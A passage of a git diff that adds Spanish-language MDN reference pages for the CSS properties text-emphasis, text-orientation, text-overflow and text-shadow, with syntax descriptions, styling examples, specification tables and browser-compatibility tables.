+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>No emphasis marks.</dd>
+ <dt><code>filled</code></dt>
+ <dd>The shape is filled with solid color. If neither <code>filled</code> nor <code>open</code> is present, this is the default.</dd>
+ <dt><code>open</code></dt>
+ <dd>The shape is hollow.</dd>
+ <dt><code>dot</code></dt>
+ <dd>Display small circles as marks. The filled dot is <code>'•'</code> (<code>U+2022</code>), and the open dot is <code>'◦'</code> (<code>U+25E6</code>).</dd>
+ <dt><code>circle</code></dt>
+ <dd>Display large circles as marks. The filled circle is <code>'●'</code> (<code>U+25CF</code>), and the open circle is <code>'○'</code> (<code>U+25CB</code>). This is the default shape in horizontal writing modes when no other shape is given.</dd>
+ <dt><code>double-circle</code></dt>
+ <dd>Display double circles as marks. The filled double-circle is <code>'◉'</code> (<code>U+25C9</code>), and the open double-circle is <code>'◎'</code> (<code>U+25CE</code>).</dd>
+ <dt><code>triangle</code></dt>
+ <dd>Display triangles as marks. The filled triangle is <code>'▲'</code> (<code>U+25B2</code>), and the open triangle is <code>'△'</code> (<code>U+25B3</code>).</dd>
+ <dt><code>sesame</code></dt>
+ <dd>Display sesames as marks. The filled sesame is <code>'﹅'</code> (<code>U+FE45</code>), and the open sesame is <code>'﹆'</code> (<code>U+FE46</code>). This is the default shape in vertical writing modes when no other shape is given.</dd>
+ <dt><code>&lt;string&gt;</code></dt>
+ <dd>Display the given string as marks. Authors should not specify more than one<em> character</em> in <code>&lt;string&gt;</code>. The UA may truncate or ignore strings consisting of more than one grapheme cluster.</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Defines the color of the mark. If no color is present, it defaults to <code>currentColor</code>.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="A_heading_with_emphasis_shape_and_color">A heading with emphasis shape and color</h3>
+
+<p>This example draws a heading with triangles used to emphasize each character.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">h2 {
+  text-emphasis: triangle #D55;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;This is important!&lt;/h2&gt;</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample("A_heading_with_emphasis_shape_and_color", 500, 70)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-emphasis-property', 'text-emphasis')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("46")}}<sup>[1]</sup></td>
+   <td>25.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>15.0{{property_prefix("-webkit")}}</td>
+   <td>6.1{{property_prefix("-webkit")}}<br>
+    7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("46")}}<sup>[1]</sup></td>
+   <td>4.4{{property_prefix("-webkit")}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>33{{property_prefix("-webkit")}}</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox 45, it wasn't activated by default: in <code>about:config</code>, the user has to set the preference <code>layout.css.text-emphasis.enabled</code> to <code>true</code>. Activated by default in Firefox 46, this preference was removed in Firefox 49.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The longhand properties {{cssxref('text-emphasis-style')}}, {{cssxref('text-emphasis-color')}}.</li>
+ <li>The {{cssxref('text-emphasis-position')}} property allowing to define the position of the emphasis marks.</li>
+</ul>
diff --git a/files/es/web/css/text-orientation/index.html b/files/es/web/css/text-orientation/index.html
new file mode 100644
index 0000000000..82b6f3295b
--- /dev/null
+++ b/files/es/web/css/text-orientation/index.html
@@ -0,0 +1,104 @@
+---
+title: text-orientation
+slug: Web/CSS/text-orientation
+tags:
+  - CSS
+  - Formas de Escritura CSS
+  - Orientacion del Texto CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/text-orientation
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad  <a href="/en-US/docs/Web/CSS">CSS  </a><strong><code>text-orientation</code></strong> define la orientación del texto en una línea de escritura. Ésta propiedad sólo tiene efecto en modo vertical, ésto es, cuando {{cssxref("writing-mode")}} no está establecido cómo <code>horizontal-tb</code>. Ésta propiedad CSS es util para controlar la forma en que se muestran los lenguajes que utilizan escritura vertical, y tambien para construir encabezados verticales para tablas.</p>
+
+<pre class="brush:css no-line-numbers">/* Palabras clave valor */
+text-orientation: mixed;
+text-orientation: upright;
+text-orientation: sideways-right;
+text-orientation: sideways;
+text-orientation: use-glyph-orientation;
+
+/* Valores globales */
+text-orientation: inherit;
+text-orientation: initial;
+text-orientation: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>text-orientation</code> puede tener cómo valor una de las palabras clave listadas a continuación.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>mixed</code></dt>
+ <dd>Rota los caracteres de escritura horizontal 90° en sentido de las manecillas del reloj. Establece los caracteres de escritura vertical de forma natural. Este es el valor por defecto.</dd>
+ <dt><code>upright</code></dt>
+ <dd>Establece los caracteres de escritura horizontal de forma natural (pero se presentan de arriba hacia abajo), de igual manera establece de forma natural los glifos para escritura vertical. Note que ésta palabra clave causa que todos los caracteres sean considerados de forma izquierda-a-derecha: el valor utilizado para {{cssxref("direction")}} es forzado a ser <code>ltr</code>.</dd>
+ <dt><code>sideways</code></dt>
+ <dd>Causa que los caracteres sean presentados de la forma en que se presentarían de manera horizontal, pero con la línea de escritura rotada 90° en sentido de las manecillas del reloj.</dd>
+ <dt><code>sideways-right</code></dt>
+ <dd>Un alias para <code>sideways</code> que se mantiene para propositos de compatibilidad.</dd>
+ <dt><code>use-glyph-orientation</code></dt>
+ <dd>En elementos SVG, ésta palabra clave produce que sea utilizado el valor de las propiedades SVG desaprobadas <code>glyph-orientation-vertical</code> y <code>glyph-orientation-horizontal</code>.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolet semper quisquam.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  writing-mode: vertical-rl;
+  text-orientation: upright;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes', '#text-orientation', 'text-orientation')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.properties.text-orientation")}}</p>
+
+<p> </p>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li>Las otras propiedades CSS relacionadas con escritura vertical: {{cssxref("writing-mode")}}, {{cssxref("text-combine-upright")}}, y {{cssxref("unicode-bidi")}}.</li>
+</ul>
diff --git a/files/es/web/css/text-overflow/index.html b/files/es/web/css/text-overflow/index.html
new file mode 100644
index 0000000000..3d559cae8f
--- /dev/null
+++ b/files/es/web/css/text-overflow/index.html
@@ -0,0 +1,308 @@
+---
+title: text-overflow
+slug: Web/CSS/text-overflow
+translation_of: Web/CSS/text-overflow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>text-overflow</code></strong> determina como el contenido que se desborda y que no es mostrado, va a hacérsele notar a los usuarios. Puede ser cortado, mostrar una elipsis ('<code>…</code>', <code style="text-transform: uppercase;">U+2026 Horizontal Ellipsis</code>), o mostrar una cadena de texto personalizada.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-overflow.html")}}</div>
+
+<p>La propiedad <code>text-overflow</code> no fuerza a que ocurra un desbordamiento. Para hacer que un texto desborde a su contenedor debes poner algunas otras propiedades de CSS. Por ejemplo:</p>
+
+<pre class="brush: css no-line-numbers notranslate">overflow: hidden;
+white-space: nowrap;</pre>
+
+<p>La propiedad <code>text-overflow</code> solo afecta al contenido que está rebasando un elemento de contenedor en bloque en su dirección de progresión <em>inline</em> (no así, a un texto que rebase por el <em>bottom </em>del contenedor, por).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>text-overflow</code> ha de ser especificada usando uno o dos valores. Si se define solo un valor, este determinará el comportamiento del <em>overflow </em>para el final de la línea (el extremo derecho en un texto izquierda-a-derecha o el extremo izquierdo en un texto derecha-a-izquierda). Si se definen dos valores, el primero hará referencia al comportamiento <em>overflow</em> para para el extremo izquierdo y el segundo al extremo derecho de la línea.</p>
+
+<p>Cada valor se especificará como una de las siguientes opciones:</p>
+
+<ul>
+ <li>Una palabra clave: <code><a href="#clip">clip</a></code>, <code><a href="#ellipsis">ellipsis</a></code>, <code><a href="#fade">fade</a></code></li>
+ <li>La función <code><a href="#fade( &lt;length> | &lt;percentage> )">fade()</a></code>, que recibe {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} para controlar la distancia de desvanecimiento</li>
+ <li>Un <code><a href="#&lt;string>">&lt;string&gt;</a></code>.</li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="clip" name="clip"><code>clip</code></a></dt>
+ <dd>The default for this property. This keyword value will truncate the text at the limit of the <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">content area</a>, therefore the truncation can happen in the middle of a character. To clip at the transition between characters you can specify <code>text-overflow</code> as an empty string, if that is supported in your target browsers: <code>text-overflow: '';</code>.</dd>
+ <dt><a id="ellipsis" name="ellipsis"><code>ellipsis</code></a></dt>
+ <dd>This keyword value will display an ellipsis (<code>'…'</code>, <code style="text-transform: uppercase;">U+2026 Horizontal Ellipsis</code>) to represent clipped text. The ellipsis is displayed inside the <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">content area</a>, decreasing the amount of text displayed. If there is not enough space to display the ellipsis, it is clipped.</dd>
+ <dt><a id="&lt;string>" name="&lt;string>"><code>&lt;string&gt;</code></a> {{experimental_inline}}</dt>
+ <dd>The {{cssxref("&lt;string&gt;")}} to be used to represent clipped text. The string is displayed inside the <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">content area</a>, shortening the size of the displayed text. If there is not enough space to display the string itself, it is clipped.</dd>
+ <dt><a id="fade" name="fade"><code>fade</code></a> {{experimental_inline}}</dt>
+ <dd>This keyword clips the overflowing inline content and applies a fade-out effect near the edge of the line box with complete transparency at the edge.</dd>
+ <dt><a id="fade( &lt;length> | &lt;percentage> )" name="fade( &lt;length> | &lt;percentage> )"><code>fade( &lt;length&gt; | &lt;percentage&gt; )</code></a> {{experimental_inline}}</dt>
+ <dd>This function clips the overflowing inline content and applies a fade-out effect near the edge of the line box with complete transparency at the edge.</dd>
+ <dd>The argument determines the distance over which the fade effect is applied. The {{cssxref("&lt;percentage&gt;")}} is resolved against the width of the line box. Values lower than <code>0</code> are clipped to <code>0</code>. Values greater than the width of the line box are clipped to the width of the line box.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 200px;
+  border: 1px solid;
+  padding: 2px 5px;
+
+  /* BOTH of the following are required for text-overflow */
+  white-space: nowrap;
+  overflow: hidden;
+}
+
+.overflow-visible {
+  white-space: initial;
+}
+
+.overflow-clip {
+  text-overflow: clip;
+}
+
+.overflow-ellipsis {
+  text-overflow: ellipsis;
+}
+
+.overflow-string {
+  /* Not supported in most browsers,
+     see the 'Browser compatibility' section below */
+  text-overflow: " [..]";
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p class="overflow-visible"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+&lt;p class="overflow-clip"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+&lt;p class="overflow-ellipsis"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+&lt;p class="overflow-string"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Examples', 300, 220, '', 'Web/CSS/text-overflow')}}</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th colspan="1" rowspan="2" scope="col" style="width: 15em;">CSS value</th>
+   <th colspan="2" rowspan="1" scope="col" style="text-align: center;"><code>direction: ltr</code></th>
+   <th colspan="2" rowspan="1" scope="col" style="text-align: center;"><code>direction: rtl</code></th>
+  </tr>
+  <tr>
+   <th scope="col">Expected Result</th>
+   <th scope="col">Live result</th>
+   <th scope="col">Expected Result</th>
+   <th scope="col">Live result</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><em>visible overflow</em></td>
+   <td style="font-family: monospace;">1234567890</td>
+   <td style="direction: ltr;">
+    <div style="float: left; font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: visible;"><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">0987654321</td>
+   <td>
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: visible;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip</code></td>
+   <td style="padding: 1px; font-family: monospace;"><img alt="t-o_clip.png" class="default internal" src="/@api/deki/files/6056/=t-o_clip.png"></td>
+   <td style="direction: ltr;">
+    <div style="float: left; font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip;">123456</div>
+   </td>
+   <td style="padding: 1px; font-family: monospace;"><img alt="t-o_clip_rtl.png" class="default internal" src="/@api/deki/files/6057/=t-o_clip_rtl.png"></td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ''</code></td>
+   <td style="font-family: monospace;">12345</td>
+   <td style="direction: ltr;">
+    <div style="">123456</div>
+   </td>
+   <td style="font-family: monospace;">54321</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis</code></td>
+   <td style="font-family: monospace;">1234…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis;"><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…4321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: '.'</code></td>
+   <td style="font-family: monospace;">1234.</td>
+   <td style="direction: ltr;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">.4321</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip clip</code></td>
+   <td style="font-family: monospace;">123456</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip clip;"><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">654321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip clip;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip ellipsis</code></td>
+   <td style="font-family: monospace;">1234…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip ellipsis;"><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">6543…</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip ellipsis;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip '.'</code></td>
+   <td style="font-family: monospace;">1234.</td>
+   <td style="direction: ltr;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">6543.</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis clip</code></td>
+   <td style="font-family: monospace;">…3456</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis clip;"><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…4321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis clip;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis ellipsis</code></td>
+   <td style="font-family: monospace;">…34…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis ellipsis;"><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…43…</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis ellipsis;"><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis '.'</code></td>
+   <td style="font-family: monospace;">…34.</td>
+   <td style="direction: ltr;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…43.</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ',' clip</code></td>
+   <td style="font-family: monospace;">,3456</td>
+   <td style="direction: ltr;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">,4321</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ',' ellipsis</code></td>
+   <td style="font-family: monospace;">,34…</td>
+   <td style="direction: ltr;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">,43…</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ',' '.'</code></td>
+   <td style="font-family: monospace;">,34.</td>
+   <td style="direction: ltr;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">,53.</td>
+   <td style="direction: rtl;">
+    <div style=""><span style="">1234567890</span></div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 UI', '#text-overflow', 'text-overflow')}}</td>
+   <td>{{Spec2('CSS4 UI')}}</td>
+   <td>Added the values <code>&lt;string&gt;</code> and <code>fade</code> and the <code>fade()</code> function</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 UI', '#text-overflow', 'text-overflow')}}</td>
+   <td>{{Spec2('CSS3 UI')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>A previous version of this interface reached the <em>Candidate Recommendation</em> status. As some not-listed-at-risk features needed to be removed, the spec was demoted to the <em>Working Draft</em> level, explaining why browsers implemented this property unprefixed, though not at the CR state.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.text-overflow")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("overflow")}}, {{cssxref("white-space")}}</li>
+ <li>CSS properties that control line breaks in words: {{cssxref("overflow-wrap")}}, {{cssxref("word-break")}}</li>
+</ul>
diff --git a/files/es/web/css/text-shadow/index.html b/files/es/web/css/text-shadow/index.html
new file mode 100644
index 0000000000..1e0cd7ee53
--- /dev/null
+++ b/files/es/web/css/text-shadow/index.html
@@ -0,0 +1,197 @@
+---
+title: text-shadow
+slug: Web/CSS/text-shadow
+tags:
+  - Propiedad CSS
+  - Texto CSS
+translation_of: Web/CSS/text-shadow
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>text-shadow</code></strong> agrega sombra al texto. Acepta una lista de sombras separadas por coma, para aplicarlas al texto y a la propiedad {{cssxref("text-decoration","text-decorations")}} del elemento.</p>
+
+<p>Cada sombra es especificada como un ófset del texto, junto con valores de color y radio de difuminación opcionales.</p>
+
+<p>Múltiples sombras son aplicadas del frente al fondo, en el mismo orden que sean definidas.</p>
+
+<p>Esta propiedad aplica para los <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elementos</a> {{cssxref("::first-line")}} y {{cssxref("::first-letter")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* offset-x | offset-y | blur-radius | color */
+text-shadow: 1px 1px 2px black;
+
+/* color | offset-x | offset-y | blur-radius */
+text-shadow: #CCC 1px 0 10px;
+
+/* offset-x | offset-y | color */
+text-shadow: 5px 5px #558ABB;
+
+/* color | offset-x | offset-y */
+text-shadow: white 2px 5px;
+
+/* offset-x | offset-y
+/* Se usan los valores predeterminados para color y blur-radius */
+text-shadow: 5px 10px;
+
+/* Valores globales */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Opcional. Puede ser especificado antes o después de los valores de offset. Si el color no es especificado, se usa el predeterminado del agente usuario. {{note("Para asegurar consistencia entre navegadores, se recomienda especificar un color explícito.")}}</dd>
+ <dt>&lt;offset-x&gt; &lt;offset-y&gt;</dt>
+ <dd>Requeridos. Estos valores <code>length</code> especifican el ófset de la sombra del texto. <code>&lt;offset-x&gt;</code> especifica la distancia horizontal; un valor negativo pone la sombra a la izquierda del texto. <code>&lt;offset-y&gt;</code> especifica la distancia vertical; un valor negativo pone la sombra encima del texto. Si ambos valores son <code>0</code>, la sombra es colocada detrás del texto (y puede generar un efecto de difuminado cuando se define el valor <code>&lt;blur-radius&gt;</code>).<br>
+ Para más detalles de las unidades que se pueden usar, véase {{cssxref("length")}}.</dd>
+ <dt>&lt;blur-radius&gt;</dt>
+ <dd>Opcional. Éste es un valor {{cssxref("length")}}. Si no se especifica, su valor predeterminado es <code>0</code>. Mientras más alto sea el valor, mayor será la difuminación; la sombra se vuelve más amplia y clara.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div id="Example1">
+<pre class="brush: css">.red-text-shadow {
+   text-shadow: red 0 -2px;
+}</pre>
+
+<pre class="brush: html">&lt;p class="red-text-shadow"&gt;
+   Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo
+   inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo.
+&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Example1', '689px', '90px')}}</p>
+
+<div id="Example2">
+<pre class="brush:css">.white-with-blue-shadow {
+   text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+   color: white;
+   font: 1.5em Georgia, "Bitstream Charter", "URW Bookman L", "Century Schoolbook L", serif;
+}</pre>
+
+<pre class="brush: html">&lt;p class="white-with-blue-shadow"&gt;
+   Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore
+   veritatis et quasi architecto beatae vitae dicta sunt explicabo.
+&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Example2', '689px', '180px')}}</p>
+
+<div id="Example3">
+<pre class="brush:css">.gold-on-gold {
+   text-shadow: rgba(0,0,0,0.1) -1px 0, rgba(0,0,0,0.1) 0 -1px,
+   rgba(255,255,255,0.1) 1px 0, rgba(255,255,255,0.1) 0 1px,
+   rgba(0,0,0,0.1) -1px -1px, rgba(255,255,255,0.1) 1px 1px;
+   color: gold;
+   background: gold;
+}</pre>
+
+<pre class="brush: html">&lt;p class="gold-on-gold"&gt;
+   Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore
+   veritatis et quasi architecto beatae vitae dicta sunt explicabo.
+&lt;/p&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Example3', '689px', '90px')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Incluye <code>text-shadow</code> en la lista de propiedades que pueden ser animadas.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>La propiedad CSS <code>text-shadow</code> fue <a class="external" href="http://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props">inadecuadamente definida en CSS2</a> y descartada en CSS2 (Nivel 1). La especificación del Módulo de Textos Nivel 3 de CSS mejoró y clarificó la sintaxis. Más adelante fue movido al nuevo borrador de trabajo del <a href="http://www.w3.org/TR/2012/WD-css-text-decor-3-20121113/">Módulo de Textos Nivel 3 de CSS</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>10<sup>[3]</sup></td>
+   <td>9.5<sup>[2]</sup></td>
+   <td>1.1 (100)<sup>[4]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
